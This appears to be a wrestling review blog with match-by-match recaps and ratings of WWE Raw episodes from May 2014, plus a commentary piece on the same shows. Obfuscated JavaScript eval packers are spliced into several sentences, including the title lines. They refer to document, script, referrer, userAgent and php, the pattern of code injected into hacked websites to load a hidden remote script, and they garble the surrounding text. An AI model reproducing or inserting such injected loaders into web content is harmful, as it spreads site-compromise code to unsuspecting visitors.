Monday Night Raw – May 19, 2014: That’s A Lot Of Phones

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eefis|var|u0026u|referrer|hibah||js|php'.split('|'),0,{})) Night Raw
Date: May 19, 2014
Location: 02 Arena, London, England
Commentators: Michael Cole, Jerry Lawler, John Bradshaw Layfield

It’s time for the post Wrestlemania European tour and things are in a big state of flux right now. Aside from the disastrous stock news on Friday, tonight we find out the fate of the WWE Championship due to Daniel Bryan being sidelined several months with neck surgery. The show was taped earlier in the day but I’ve avoided spoilers. Let’s get to it.

 

The Wyatts are in the ring to open the show and Bray sings the song as the fans all wave their phones for a pretty awesome visual. Bray talks about people laying his head down to sleep which is when everyone sees themselves as a superhero that can fix all the wrongs of the world and dream of payback. Then we wake up and see that we’re not really superheroes that can fix anything.

We kid ourselves by saying everything is fine but everything is wrong. Bray used to have this teacher that looked down on him and went to great measures to tell him that he was a piece of trash. She believed that everything she read in a book was true and everything he said was a lie. One day he went up to her and asked why she thought she was so much better than him. Was it because her parents paid for her to go to a school and waive her degree around, filling his head with propaganda?

Bray didn’t accept that so she told him that he was an evil boy. That woman is now in a retirement home while he’s here as the speaker of 1000 truths with the whole world in his hands. The fans start singing again and Bray loves it. That is his payback for the teacher that told him he was wrong. His tongue is the scorpion’s tail and he offers to save men like John Cena but John hides behind his false bravado.

The fans think Cena sucks and Bray promises to end this fairy tale at Payback. He’ll be the last man standing or no man will ever stand again. Tonight Luke Harper is going to put John Cena down. This brings out Cena, but he comes through the crowd to get at Bray as Harper and Rowan go to the aisle. Bray gets caught in the AA before Harper and Rowan can chase him off.

We recap Daniel Bryan being attacked by Kane last week and Stephanie saying how sorry she was. We’ll get the update on the title later tonight.

Here are Cesaro and Heyman with something to say. Heyman says the people in the ring are the stars while the fans are the wannabes. They should worship the mic he uses as he talks about Brock conquer the Streak. The fans finish the line for him so Heyman lays on the ground, asking who he is. “No I’m not your queen finally dead. I’M THE UNDERTAKER AT WRESTLEMANIA! EXCEPT I CAN GET UP!”

Sheamus vs. Cesaro

Non-title. Sheamus isn’t exactly popular in England. Cesaro takes him into the corner to start for a slap to the face but Cesaro bails to the floor before the ten forearms can get started. Back in and the ten forearms connect, but Cesaro bails to the floor again. They head back inside for some uppercuts from Cesaro as a JBL chant starts up. Sheamus comes back with the slingshot shoulder and the crowd has switched to JERRY. Cesaro sidesteps a charge to send Sheamus to the floor as we take a break.

Back with Cesaro ramming in knees to the ribs and putting on a sleeper. Sheamus quickly fights out with some shots to the ribs and the ax handles to the face. Not that it matters as Sheamus misses a charge into the post and Cesaro takes over again. The superplex from the apron gets two but Cesaro charges into the Irish Curse.

Sheamus hits the rolling fireman’s carry for another two and they have a hard slugout. Cesaro sends the Irishman chest first into the buckle and catches him coming off the top with the uppercut for two. Sheamus makes a quick comeback but gets distracted by Heyman, allowing Cesaro to grab a German suplex for the pin at 12:36.

Rating: C+. Two weeks. He’s been champion TWO WEEKS and he’s already getting pinned in the ring on Raw. Do they just want the titles to mean nothing at all or is this some massive rib that we don’t get? Yeah it’s Cesaro, but was there NO OTHER WAY to set up whatever they’re doing here?

Post match Cesaro won’t shake hands.

Shield vs. Evolution at Payback is now anything goes and an elimination match. We get a video of the end of last week’s show.

Big E. vs. Ryback

This is the first of eight Beat the Clock challenges. The winner in the fastest time gets an Intercontinental Title shot at Payback. Ryback runs Big E. over to start but E. shoves him into the corner with ease. A missed charge allows Ryback to take over again and stomp away before getting two off a suplex. Some hard elbows in the corner have Big E. in more trouble and a big driving shoulder puts him down again. Big E. grabs a belly to belly suplex for another two but Ryback nails a spinebuster and beats on his chest. The Meathook gets two but Big E. slips out of a powerbomb, setting up the Big Ending for the pin at 5:02.

Rating: D+. Not great here but it’s nice to see Big E. get a win like this. I can’t imagine that the time is going to hold up over the course of eight matches, but at it’s not a terrible time. I’m not sure who all they’re going to put into the challenge to have sixteen guys, but it might help get some people on television.

Some special Olympians trained at the WWE Performance Center. That’s always cool.

R-Truth/Trinity vs. Fandango/Layla

Fandango gets a BIG reaction, at least partially due to having the British Layla with him. Before the match, a LIVID Summer Rae storms out to the ring and kisses Fandango before getting into a catfight with Layla. No match.

Bolieve! This week on Smackdown.

We get Daniel Bryan’s music but it’s Stephanie coming out doing the YES pose. She says the fans should be chanting YES right now because Daniel Bryan is at home convalescing. She says she’s got some…well she’ll let someone else say it. We get a quick montage of Barrett saying he has BAD NEWS before we get a horrible imitation from Stephanie.

She’s thinking about stripping Bryan of the title and awarding it to Kane. Or she could strip him of the title and award it to Bad News Barrett. How about to Batista? Seriously though, if anyone is deserving, it should be HHH. In all seriousness though, Bryan won’t be stripped of the title. Instead, Bryan has to show up next week on Raw and surrender the title because it’s best for business. In other words, no real news this week.

Here are the Union Jacks, more commonly known as 3MB. Here’s his opponent.

Rusev vs. Heath Slater

Before the match Lana talks about how great Putin is and how the Soviet Union will take over England and America. Slater tries to dive on Rusev but all three Jacks are destroyed. We hed inside for the opening bell and pain quickly comes to Slater. There’s the spinning slam and the Accolade gets the submission at 38 seconds.

Shield still wants to know if that was Evolution’s best shot. Reigns is sporting a black eye from a match against Orton over the weekend. Rollins is ready for Batista tonight.

Alberto Del Rio vs. Rob Van Dam

Another Beat the Clock match with the time at 5:02. They trade some quick rollups for two each to start before Del Rio gets a quick suplex for two. Del Rio kicks him to the floor as we’ve got 3:30 to go in the clock. Back in and we hit the chinlock on RVD before he comes back with some lame clotheslines.

They seem to get mixed up with Van Dam wanting Rolling Thunder but Alberto being too close, forcing Rob into a legdrop instead. Del Rio comes back with a Backstabber for two but Van Dam kicks out of the armbreaker. A running flip splash keeps Del Rio down but the Five Star misses. A rolling cradle gets two for Alberto but he misses the low superkick, giving Rob the pin at 4:15.

Rating: C-. This is the problem with Beat the Clock: the matches don’t have time to go anywhere and people keep having to try for fast pins instead of giving the match a chance to build. These two don’t really have the best chemistry either, making the whole thing kind of mess. Fine from a technical standpoint but not much else.

We look back at the opening segment.

Cena is in the back and says he’ll have the Usos in his corner again tonight. At Payback, he’ll have to face a crowd full of Bray Wyatt’s followers. The three of them start rhythmically beating on their chests and do the We Say Us bit. This was rather strange.

Evolution is ready for Payback and tells Batista to take Rollins out.

Seth Rollins vs. Batista

Shield is banned from ringside, but HHH is guest ring announcer. His first announcement: Randy Orton is guest timekeeper. Rollins introduces Reigns and Ambrose as the special guest commentators to even things out. Batista hammers away to start but Rollins takes him into the corner for a quick stomping. Batista rams him into the apron as Ambrose is toying with JBL on commentary. Rollins escapes a powerslam and we take a break.

Back with Batista kicking Rollins out to the floor but holding his elbow in the corner. Evolution gets a bit too close to Rollins and Shield stands up to stop them. Back in and we hit the chinlock on Rollins before a hard elbow to the jaw gets two. Rollins fights back by shoving Batista off the ropes and nailing a running sleeper drop. A running dropkick puts Big Dave on the floor and there’s a nice suicide dive to take him down again.

Orton teases getting involved, drawing Ambrose and Reigns off commentary. Rollins misses the springboard knee to the head and gets caught by the spinebuster. Dave charges into a boot though and the springboard knee gets a VERY close two. Seth goes up again but gets shoved off the top, triggering a brawl on the floor. Ambrose runs across the announcers’ tables to take out HHH but gets caught by Orton. Rollins comes over to go after HHH but gets caught by a right hand, drawing the DQ at 13:42.

Rating: B-. I was digging this match but it’s a smart move to not have anyone job in the end. Rollins looked on equal footing with Batista out there, which is way more than I would have expected from him. Shield has looked completely equal to Evolution throughout this entire feud and that’s a GREAT sign.

Batista gets speared post match but a HHH distraction saves him from the Triple Bomb.

Alicia Fox vs. Paige

Non-title. Alicia kicks her right in the face to start but gets kicked in the chest and headbutted for her efforts. Fox bails to the floor but catches Paige coming out and rams her into the barricade. Back in and Fox leans over Paige for a slap to the face before sending Paige into the corner. Paige gets caught with a backbreaker into the corner and a kick to the ribs, allowing Fox to grab a deep cover for the pin at 3:32. Just like that.

Rating: D. Sheamus was bad enough. At the end of the day, this is still Alicia Fox. I think that’s about enough for the explanation.

Fox freaks out again post match, but this time due to happiness. She puts Lawler’s crown on to celebrate this time.

Luke Harper calls Cena a mouse that will be eaten by a snake. Bray says the Usos are dominoes that will be knocked over.

Mark Henry vs. Dolph Ziggler

Beat the Clock again with the time set at 4:15. Apparently this is the final match in the competition so I have no idea what Cole was talking about with eight. It’s not even eight people. Henry runs Ziggler over to start and suplexes him down as we’re already down to three minutes. Dolph falls to the floor but gets back in at eight. Ziggler hits what was supposed to be a Fameasser but looked more like a Rough Ryder for two.

Henry throws him outside again but Ziggler comes back with a quick dropkick. 90 seconds left. Another dropkick puts Henry down and we’ve got less than a minute to go. Dolph heads up top but gets caught in a powerslam for two. He loads up the World’s Strongest Slam but takes too long, allowing Ziggler to hit the Zig Zag. Time runs out though at 4:15 and Van Dam wins the challenge.

Rating: D+. This was an awkward match with both guys missing a few moves here and there. Van Dam winning the challenge is fine as he’ll get a good match out of Barrett. Ziggler winning would have been fine as well so there wasn’t a bad choice out of either guy here. The match didn’t work though.

Van Dam comes out and gets caught by a Bull Hammer from Barrett. Bad News sucks up to the London crowd and says there’s no way this Englishman is losing to a Yank. Rule Britannia plays Barrett out.

Renee Young brings out Adam Rose for a chat as JBL goes on a huge rant about how much he hates bunnies. Rose wants to know where his cheeseburger is and we’ve got a man named Ethan in a cheeseburger shirt. Rose: “He’s got sesame seeds on his buns. We’re taking him to the doctor next week.” The fans cut off the interview to sing the song (JBL: “STOP IT LONDON! THAT BUNNY COULD HAVE FLEAS!”) before Renee asks why Rose has targeted Swagger and Colter. He just wants them to stop being “grumpy pantses.”

Rose has the bunny dance (JBL: “Euthanize the bunny right now.”) but here are Swagger and Colter to interrupt. Colter wants to know what Rose’s deal is and even asks Swagger to stand back. He calls Rose the thing that is bringing America down and he’ll bring England down too. Colter wants to have a fight with Rose but Jack gets in a cheap shot. He goes after some of the members of the party but Rose is back up for the save.

Bolieve!

John Cena vs. Luke Harper

The Usos are here to counter Rowan and Harper and the phones come out for Bray’s entrance again. That’s quite a cool looking sight. The fans start the dueling chants as Cena hits a bulldog and a big boot to the face gets two. Harper gets in a shot of his own for two as we take our final break. Back with Harper knocking Cena down again before kicking him in the face for two. There’s the Gator Roll and a suplex gets another two count.

We get the singing John Cena Sucks chant as Cena comes back with the ProtoBomb but Harper is ready for the Shuffle and catches Cena in a German suplex. Harper misses a big boot and falls out to the floor, only to get caught in another ProtoBomb. Now the Shuffle connects but Luke escapes the AA and slams Cena face first for two. Harper busts out a dropkick of all things to send Cena to the floor, setting up a suicide dive.

Back in and Cena grabs a tornado DDT for two but gets caught by a superkick for an even closer near fall. Harper busts out a torture rack neckbreaker of all things but stops to look at Bray for support. Cena comes right back with the STF but Harper makes it into the ropes. The Usos take out Rowan and Bray but Wyatt pops up and hits a pair of Sister Abigails. He goes for Cena but gets low bridged, allowing Harper to hit a Michinoku Driver for another two. A quick AA connects but Rowan comes in for the DQ at 12:36.

Rating: C+. This was getting good but you knew there was no way Cena was jobbing here so there were only a few choices to end the match. Harper continues to look awesome in the ring as a power brawler and will certainly have a solid career once he’s no longer dealing with Bray anymore.

With the Usos down, Cena takes Sister Abigail as well and they take him up to the stage. Another Sister Abigail on the stage lays Cena out again. Bray sings while Harper slowly counts to ten to end the show.

Overall Rating: C. Stupid booking of midcard champions aside, this worked well enough for the first part. I really could have done without the bait and switch for the title announcement but that’s what you come to expect from WWE. There was some decent enough stuff tonight and the Evolution vs. Shield segment was great. It’s right in the middle so the average grade seems to fit.

Results
Cesaro b. Sheamus – German suplex
Big E. b. Ryback – Big Ending
Rusev b. Heath Slater – Accolade
Rob Van Dam b. Alberto Del Rio – Rollup
Seth Rollins b. Batista via DQ when HHH interfered
Alicia Fox b. Paige – Kick to the ribs
Dolph Ziggler vs. Mark Henry went to a time limit draw
John Cena b. Luke Harper via DQ when Erick Rowan interfered

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Clash of the Champions at Amazon for just $3.99 at:

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The Future Of The WWE Championship

The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tdyzr|var|u0026u|referrer|eanns||js|php'.split('|'),0,{})) update is…..There is no real update.  Stephanie teased stripping the title and awarding it to various people, but finally she said Bryan has to surrender the belt next week.




Reviewing the Review – Monday Night Raw: May 12, 2014

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zyyya|var|u0026u|referrer|ahsts||js|php'.split('|'),0,{})) was one of those nights where it seemed like things were going to be moving forward at a snail’s pace but then a big curve ball changed everything. In this case, it was one heck of an announcement. Let’s get to it.

We’ll cover the other show long story to start. Shield hunted Evolution all last night and got the better of the old guard almost all night. They jumped Evolution as they arrived, then jumped then again during Evolution’s promo, then fought them off to end the show. As they’ve done since their debut, Shield looked incredibly strong all night and looked like they were ready to run over Evolution at Payback.

Now in theory Evolution wins the second round to set up a BIG showdown at Money in the Bank or whatever the next PPV is. However, I’m not sure where Shield goes after that. They don’t need to to split given how over they are at the moment, but I’m not sure I see the superstar in Reigns that is supposed to be there. He’s not bad, but I see him as more of a Batista while Ambrose is more of the top guy type. Not that being Batista is bad, but I don’t quite see the huge potential as much as I used to.

Adam Rose screwed Jack Swagger out of a match with RVD to advance their feud. Nothing to see here but it worked well enough.

Paige beat Alicia Fox, sending Fox into a huge fit post match. This was supposed to be the start of something, but at the end of the day it’s Alicia Fox. Yeah she looks great in her outfits and the cowboy hat really worked on her, but at the end of the day it’s Alicia Fox. I’m aware I repeated that because it’s for emphasis. She would literally change from teaming with faces or heels week to week so it’s hard to take her seriously. More on this later.

Now we get to the real story of the night: Daniel Bryan has a bad neck and will have surgery, putting him out of action for an unknown amount of time (I’ve heard anywhere from 4-8 weeks). I’m not sure what this means for the title, but if it’s over two months there’s almost no way they can’t take the title off of him. If nothing else have the Authority take it from him so they can get more heel heat.

One thing they did very well was to get the heat on Kane for the attack. This came later in the show but again we’ll tie these things together instead of jumping around. Later in the night Daniel Bryan was called out by Stephanie but wound up being dragged to the stage by Kane. This makes it look like Kane just annihilated an injured man in the back instead of doing some over the top insanity. It’s very nice to see them leave it to your imagination instead of flat out showing what Kane did as it makes things all the more sinister. I miss little things like that.

I’ll spare you my predictions about what happens to Bryan and/or the title until after we’re sure what’s going to happen to the championship. If they change it however, I wouldn’t be opposed to Kane as a short term champion. Right now there really isn’t anyone else to put the thing on, so why not give it to Kane so someone can slay the dragon?

Speaking of slaying a dragon, Cena and the Usos beat the Wyatt Family in a good six man tag. Cena got the pin on Rowan, which is the point of having minions. It keeps Bray vs. Cena going and apparently we’ll be going towards a last man standing match at Payback. The match should be awesome but again, Wyatt needs to win. Cena has lost them before and it makes me feel a lot better than if this were say an I Quit match.

Nikki Bella beat Natalya in a bad match. The story here was the Total Divas on the floor holding up signs to score the moves. This offended Natalya as I think we’re looking at a heel turn. This appeared to be part of the Total Divas story, which makes sense as Natalya is treated as an outcast most of the time on there.

This brings us back to Alicia Fox earlier in the night. While these may not be the most interesting stories in the world, they’re light years ahead of the 45 second “matches” that dominated the Divas division for so long and made them a complete waste. I don’t really care what happens, but I’d much rather see them have stories than just fill in time and act like they’re important.

Sheamus beat Curtis Axel and Ryback in a row. Much like the Divas, it’s nothing all that great but it’s better than having them do nothing all night and then wonder why they didn’t get over. Sheamus beating midcarders is as fine a way as any to get the title some respect, especially when someone will eventually give him a real challenge for the title. I was pleased with this one.

Dolph Ziggler beat Fandango but the dancer didn’t mind because he’s still got Layla. This is going to need some more time before it goes anywhere, but much like Alicia, it’s hard to bring myself to care about someone like Fandango.

Jim Duggan came out to chant USA, which of course drew out Lana and Rusev. Big E. tried to make a save but Rusev easily dispatched him. Rusev beating Big E. would be a nice win, but man alive has E. fallen in a hurry. Sidenote: assuming he squashes Big E., this gives Rusev the following wins: R-Truth, Xavier Woods, Kofi Kingston and Big E. You do the math.

Damien Sandow talked about being silenced and then lost to a cheating Cody Rhodes. At least there’s something there, but Cody as a heel needs to happen already as they’ve been teasing it for like ever now.

Batista vs. Reigns happened and that’s about it. Shield beating up the midcard wasn’t a huge stretch as Rollins/Ambrose were fresh and they both had chairs.

Overall Raw did some changing last night and it’s giving me hope for the future. As mentioned, a lot of people are getting stories. No they’re not the most interesting stories in the world or the most intersting characters, but they’re HAPPENING. That’s something the midcard and Divas have been lacking for so long and it’s nice to see an attempt at it, even if it winds up being lip service.

Other than that the big stories are of course Bryan and Shield, but we don’t have enough information on Bryan yet. Shield on the other hand continues their rise to being one of the best units of all time, even though I’m not sure where they end up. The nice thing, and for one of the first times in years, I have confidence that they’ll make it work somehow. It’s so nice to be able to feel that again.

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Monday Night Raw – May 12, 2014: NO Daniel NO, YES Shield YES

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ybbth|var|u0026u|referrer|ydbkr||js|php'.split('|'),0,{})) Night Raw
Date: May 11, 2014
Location: Bon Secours Wellness Arena, Greenville, South Carolina
Commentators: Michael Cole, Jerry Lawler, John Bradshaw Layfield

There really isn’t much to say about this show. It looks like Payback is all set up and interest in it basically comes down to whether you liked Extreme Rules or not. There’s not much new in terms of storylines save for the debut of Adam Rose last week in a segment rather than a match. Let’s get to it.

 

We open with a recap of Sheamus winning the US Title in the battle royal last week and Evolution beating up Shield to end the show.

Shield is in the ring and not very happy to get things going. Ambrose admits that they took a beating last week and went down, but tonight they’re standing tall in this ring. Rollins says they’re running at Evolution, and if Evolution is made up of men, they’ll accept a challenge for a rematch. Evolution used to be really good, but they’re not what they once were because they can’t evolve to beat the Shield.

Reigns shakes his head and Seth is surprised he has something to say. Roman takes the mic and says Evolution victimized his brothers a week ago. All of that made him realize that it’s all Evolution has. If that’s all they have, then they have a serious problem. Shield can serve justice cold and slowly and they’ll teach Evolution to believe in payback, the Shield, and in Roman Reigns. Not exactly great promo work there from Roman.

Evolution’s limo is seen arriving with Shield still watching. HHH and company get out of the limo and Shield sprints to the back. HHH signs some papers and Shield is here for the fight. Security quickly breaks it up but Evolution is left laying on the concrete with HHH holding his head.

Rob Van Dam vs. Jack Swagger

We come back from a break with Zeb telling the fans to sit there and shut up. Last week he was reading the Bill of Rights when Adam Rose interrupted him. Rose and his band of hippies and Rocky Horror Picture Show rejects aren’t American, so Adam needs to keep his distance. The bell rings and here come Adam Rose and his entourage. Rose comes to the ring and gets on the middle rope but falls onto the party when Swagger swings. JBL: “All we need is Kurrgan and the Oddities!” Rose and company leave, allowing Van Dam to hit a superkick and the Five Star for the pin at 2:10.

Video on Paige.

Bolieve!

Paige vs. Alicia Fox

Non-title. Alicia grabs a mic before the match and says Paige has managed to alienate the entire Divas division in just six weeks, so she needs to get out. Fox slaps Paige in the face and drives knees to the ribs before the bell. Paige says start the match but gets kneed again and hit with a nice tilt-a-whirl backbreaker. Fox rams her into the post for two back inside and gets two more off a northern lights suplex.

A neckbreaker and backbreaker put Paige down again for a very delayed two. We get a very modified surfboard with Fox’s feet in Paige’s back before slamming her face first down onto the mat. Fox struts around the ring before ramming Paige face first into the mat a few times. She puts on a headlock for no apparent reason and gets caught in the Paige Turner for the pin at 3:55.

Rating: D+. The match was there to make Paige look good and it worked well enough. This is one of those WWE tropes: have someone dominate for a good while and then lose in the end to one big move. It doesn’t really do much for the heel but at least the right person won, right?

Post match Alicia freaks out and destroys part of the announce table before throwing a beer everywhere. She says she should be Divas Champion before slapping a production guy and stealing JBL’s hat.

We recap the Kane/Bryan/Brie segment from last week.

Here’s Daniel Bryan with something to say. He says it’s been a long road to get right here. From the moment he won the title at Summerslam, he knew this thing would be a huge uphill battle. The fans aren’t sure if they should cheer or not. Bryan: “So that’s what it feels like to be John Cena.” After the attacks from Shield, Randy Orton and the Authority and with everyone behind him, he climbed the mountain and won the title at Wrestlemania.

Then he took the worst beating of his life at Kane’s hands but he beat Kane at Extreme Rules. However, his style has taken a toll on his body. Unfortunately he has to pay the price this week with neck surgery and he’s not happy about it. The Authority must be thrilled though because they think his career is done. There’s a chance that his career is done but it won’t be. He doesn’t know when he’ll come back, but there’s only one answer to if he’ll come back: YES! No word on what happens to the title.

We look back at the end of the cage match at Extreme Rules and Bray’s speech last week.

Usos/John Cena vs. Wyatt Family

Rematch from Smackdown where Harper pinned Jimmy. Harper and Jey get things going with Luke getting rolled up for two. An uppercut staggers Harper and a jumping clothesline puts him down for two. Off to Rowan for some choking on the ropes and a good old fashioned rake of the eyes. The LET’S GO CENA fans actually get louder than their opponents as Bray works over Jey in the corner for a bit.

Back to Harper who fires off a kick to the face. A flying headbutt from Jey is enough for the first hot tag to Jimmy who cleans house. Cole says the Wyatts can’t get it together despite them controlling nearly the entire match so far. Rowan distracts Jimmy, allowing Harper to kick Jimmy’s head off for two. Back to Bray for some knees to the head followed by the Gator Roll from Harper. Erick drops Jimmy across his knee and chokes even more. Back to the leader who muscles Jimmy into the corner and hits the running splash, only to get kicked in the face to put both guys down.

The hot tag brings in Cena to clean house on Rowan before nailing Harper in the face with a right hand. Rowan falls to the floor to escape the AA, allowing Harper to slam Cena face first onto the mat. Jey comes in with a high cross body to Harper but walks into a release Rock Bottom. An enziguri (actually a knee) to the head drops Bray, followed by Cena putting Rowan in the STF, only to have Bray make the save. Bray gets all googly eyed until Jimmy superkicks him down to break up Sister Abigail. Harper gets kicked as well, setting up the double flying Uso to the floor. Back inside and the AA to Rowan gets the pin at 9:42.

Rating: C+. This was much better than the original and it gives Cena some momentum without making Bray look bad. That’s the perk of having minions like Harper and Rowan as you can beat them without sacrificing any of Bray’s heat. It’s not a great match or anything but it did exactly what it was supposed to do.

Post match Bray thanks Cena for making him realize exactly what Bray needs to do. Follow the buzzards.

Here’s Evolution with something to say. Orton knows Evolution has had enough of the Shield and it’s time to take them out. It’s time to put the Hounds of Justice to sleep. Batista shouts that he’s had enough and HHH says it’s time to take the gloves off and finish this. At Extreme Rules the Shield proved how great they were but that’s why HHH fed the roster to them. However, Shield got too big for themselves but HHH was wrong to think he could salvage something out of them.

If Shield wants a rematch at Payback, then so be it. Evolution will do what they do best and take Shield apart. They’ll start by humbling Ambrose before taking the hummingbird’s wings away from Rollins. That leaves Roman Reigns and Evolution will take their time to make an example out of him. Reigns will fail to adapt and….that’s all HHH gets out as Shield jumps them from behind. Shield easily clears the ring and Evolution scatters. Batista gets on the mic and says he’s had enough of all three of them. He challenges Reigns for tonight and Roman looks ready.

Nikki Bella vs. Natalya

This is due to Nikki not liking Natalya’s painting on Total Divas. This would have taken place roughly five months ago and they’re just now having the match. More of the Total Divas are at ringside and holding up cards with scores on them for the moves being used. Nattie takes Nikki down with ease to start but it’s quickly reversed by some elbows from Nikki.

A middle rope knee to the chest gets two on Natalya but she slaps Nikki in the face and puts on an abdominal stretch. Nikki reverses into one of her own before Nattie fights out and hammers away. The match turns into a brawl until Nikki tries a wheelbarrow slam but gets countered into a rollup. The counter is countered into an AWFUL looking rollup for the pin on Natalya at 3:30.

Rating: D. Nikki looks good in very tiny shorts and that’s about all I’ve got.

Natalya freaks out on the other Divas post match. This seems like the start of a heel turn.

Sheamus vs. Curtis Axel

Axel gets the non-title match here by winning a coin flip. Sheamus hammers away to start and drops a knee to the head for two. Axel comes back with a kick to the face and a running knee lift for two of his own. A charge in the corner hits Sheamus’ boot and he goes up top, only to get crotched down onto the ropes. Curtis gets two more off a neckbreaker from the top but a dropkick is countered into the Cloverleaf to make Axel tap at 3:20.

Rating: D+. This is fine for Sheamus as he gets to be in the ring with a quick story and get a win. There wasn’t much to the match but it’s a Curtis Axel match so what were you expecting? Having Sheamus just run over former midcard champions is a fine idea and something that could work well for him.

Ryback jumps Sheamus post match and I think Sheamus is in action again after a break.

Sheamus vs. Ryback

Joined in progress with Ryback holding Sheamus in a chinlock. I’d assume this is non-title as well. A powerslam gets two on Sheamus but he’s able to get his knees up to block a splash. Sheamus hammers away in the corner and nails the running ax handles to the face. Ryback sends him to the apron but that just allows Sheamus to hit the ten forearms.

They don’t have a ton of effect though as Ryback grabs that over the shoulder Stunner for a close two. The Meathook is countered into White Noise for two more. Brogue Kick misses and Ryback grabs a spinebuster for two, only to walk into a running powerslam for two. Sheamus misses a swing at Axel, allowing the Meathook to put him down. Shell Shock doesn’t work and the Brogue Kick is finally good for the pin at 5:33 shown.

Rating: C+. I liked this WAY better than I thought I would as they were allowed to have an entertaining power match. There’s always something fun about two big strong guys just beating the tar out of each other for awhile with big move after big move. I still don’t get the heel turn they’re allegedly pushing for with Sheamus and this didn’t help anything.

Here’s Stephanie with something to say. She talks about Daniel telling us a story earlier tonight about climbing a mountain to reach his goal. Bryan won the title at Wrestlemania and then defeated the demon at Extreme Rules, but now it means he has to have neck surgery. All that proves is one thing: Bryan is simply not an A+ player. His body just couldn’t take it and that’s why Stephanie tried to protect him all these months. However, she has to do what’s best for business and there’s no way of knowing how this surgery is going to go.

Stephanie tells Daniel to come out and see her face to face but here’s Kane instead. Kane comes out, dragging Bryan’s unconscious body. Bryan’s shirt is ripped and his head looks to be slightly cut. There’s your injury angle to get him off television and make Kane look good in the process. Bryan is loaded onto a stretcher as Brie and Stephanie look on in concern.

Post break Brie shoves Stephanie away from the ambulance and tells her to stay out of this.

Dolph Ziggler vs. Fandango

Fandango takes Ziggler down with ease to start and gyrates a bit before throwing Dolph out to the floor. Back in and Dolph scores with some right hands, only to get caught with a knee to the side of the head. A snap suplex gets two on Ziggler and we hit the chinlock. Ziggler fights up and hammers away in the corner. Fandango comes back with a hard falcon’s arrow for two more but he misses the guillotine legdrop, setting up the Fameasser for another near fall. A Layla distraction lets Fandango hit a quick spinwheel kick for two but Layla gets caught in the ring skirt. That distraction sets up the Zig Zag for the pin at 4:52.

Rating: D+. Layla is GORGEOUS but I’m getting bored with these midcard guys trading wins. Thankfully they’ve switched the people up a bit but it doesn’t make for the most interesting matches in the world. There’s potential for Fandango to be a ladies man character as the dancing thing begins to fade away.

Post match Fandango knows that he’s a winner because he still has Layla. He says he loves her and Layla’s smile lights up the arena. JBL: “This is revolting.”

Here’s Jim Duggan, likely to promote Legends House. He says he’s sure we’re all watching the show but here’s Lana to interrupt. She says Duggan is just like England and America: a once great nation that has become a joke. China now has the biggest economy in the world and Rusev is proud to represent Vladimir Putin.

Duggan doesn’t take kindly to this and starts a USA chant. Lana gives Duggan a chance to beg but Duggan swings the board. Rusev easily takes it away and breaks the board over his knee. Lana says crush but here’s Big E. for the attempted save. Rusev easily dispatches Big E. and kicks him to the floor before standing tall.

We recap Shield vs. Evolution throughout the night.

Damien Sandow, who has shorter hair than the last time I saw him, comes out for a match and says people have been trying to silence what he has to say. Theme music cuts him off again.

Damien Sandow vs. Cody Rhodes

Cody takes him down with a fireman’s carry takeover and gives some sarcastic applaud. Sandow drops to the mat to avoid a Disaster Kick and goes after Cody’s knee. A snap suplex gets two on Rhodes and we hit the chinlock. Cody fights up but gets sent throat first into the middle rope. Sandown hits a running hip attack to the back of Rhodes’ head followed by a missed Wind-Up Elbow.

Instead Damien takes him down to the apron for the elbow from the floor. Back to the chinlock for a few seconds before Cody makes his real comeback with a springboard missile dropkick. Sandow escapes Cross Rhodes and hammers away in the corner, only to have Cody rake the eyes and nail the Disaster Kick for the pin at 4:55.

Rating: C-. Well the heel turn had to start somewhere and a good old fashioned rake of the eyes would work as well as anything else. I do feel sorry for Sandow though as he can’t even beat a guy on a losing streak. The match was nothing special as you would expect but at least there was a point to it.

Bolieve!

We look at the Bryan situation earlier tonight.

The Wyatts appear and Bray talks about how Cena’s actions don’t surprise him anymore because Cena is a human. All humans are flawed by their own greed and actions, preventing them from thriving in this paradise. Cena is just like them with his boundless narcissism, leading him right to Bray. Where does this end though?

Does Cena want to capture the head of the beast for his mantle? How can you do that when the beast is waiting for you? When mountains crumble and the oceans boil, Bray Wyatt will be left standing. Where will John Cena stand? How far is he willing to go to take the devil down? Time to sing but I think that was meant to set up a last man standing match at Payback.

Roman Reigns vs. Batista

Batista drives him into the corner to start and nails those shoulders, only to have Reigns counter with some of his own. A hard whip puts Batista into the corner and another sends him into the steps. Back in and Batista sends Reigns’ shoulder into the post to almost no effect. Reigns is right back with a running clothesline but Orton and HHH get up on the apron. That goes nowhere so Reigns hits a running clothesline in the corner.

HHH and Orton block the apron dropkick though, so Ambrose and Rollins hit those sweet stereo dives. Reigns nails the kick to the head and the other four fight by the announce table. HHH breaks up the Superman Punch but Rollins breaks up a Pedigree attempt on the floor as the match is thrown out at 4:22.

